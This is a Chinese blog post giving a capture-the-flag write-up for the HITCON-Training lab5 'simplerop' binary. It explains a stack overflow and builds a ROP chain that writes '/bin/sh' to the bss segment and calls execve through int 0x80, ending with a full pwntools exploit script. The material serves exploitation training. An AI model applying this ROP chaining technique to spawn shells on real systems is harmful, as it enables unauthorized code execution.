美文网首页
HITCON-Training-master lab5 wp

HITCON-Training-master lab5 wp

作者: zs0zrc | 来源:发表于2018-05-09 17:23 被阅读61次

    程序防护机制:

    image.png

    开启了NX堆栈不可执行
    查看了下ida反编译的代码

    image.png

    可以发现主函数十分简单,但是程序里却又十分多的函数,说明这是静态链接编译的
    程序要求输入一局话,可以发现在read函数处有明显的栈溢出漏洞,buf大小是20 ,但是read函数读取100个字节的数据
    我一开始是想直接用ROPgadget生成ropchain的,但是尝试过发现,它可以溢出的空间不足以放下ROPgadget生成的ropchain,所以失败了
    可是文件中没有system函数也没有"/bin/sh"字符串
    查看了下程序中是否存在 int 0x80

    image.png

    发现程序中存在中断信号,所以我们可以通过构造syscall的调用来getshell
    解题思路:

    1. 将"/bin/sh\x00"写入内存
    2. 改变execve()函数的参数分别压入 eax,ebx,ecx,edx中,然后执行int 0x80 来执行系统调用

    这里将"/bin/sh"写入内存中我又学会了一种新姿势,利用特殊的gadget 例如是 mov dword ptr [ecx],eax , 将字符串压入eax中,要写入的地址压入ecx中,然后通过这个gadget就可以将字符串写入想写入的内存了

    1. 第一步
      gadget--> mov dword ptr [edx],eax ; pop edx,ret; pop eax,ret
      将字符串写入bss段
    payload = p32(pop_edx) + p32(buf) + p32(pop_eax)+p32("/bin" ) 
    payload+= p32(gadget) + p32(pop_edx) + p32(buf+4)  
    payload +=p32(pop_eax) + p32("/sh\x00") + p32(gadget)  
    
    1. 将syscall调用的参数压入相应的寄存器中
    execve("/bin/sh\x00",0,0) 
    对应为 eax=0xb(系统调用号) ebx = buf ;edx=0 ; ecx = 0  
    payload = p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(buf) 
    payload+= p32(pop_eax) + p32(0xb) + p32(int_80)  
    

    exp:

    from pwn import*  
    p = process('./simplerop')  
    elf = ELF('./simplerop')  
      
    pop_edx_ecx_ebx = 0x0806eca0  
    pop_eax = 0x080b7e26  
    pop_edx = 0x0806ec7a  
    int_80 = 0x0806c8f5  
    gadget = 0x080707b9 # mov word ptr [edx],eax  
    bss = elf.bss()  
    read_plt = elf.symbols['read']  
      
      
    p.recv()  
    payload = 'a'*32 + p32(pop_edx) +p32(bss)+ p32(pop_eax) +"/bin"+ p32(gadget)  
    payload +=  p32(pop_edx) + p32(bss+4) + p32(pop_eax) + "/sh\x00" + p32(gadget)  
    payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss) 
    payload += p32(pop_eax) + p32(0xb)  
    payload += p32(int_80)  
      
    p.send(payload)  
    p.interactive()  
    

    相关文章

      网友评论

          本文标题:HITCON-Training-master lab5 wp

          本文链接:https://www.haomeiwen.com/subject/cjrorftx.html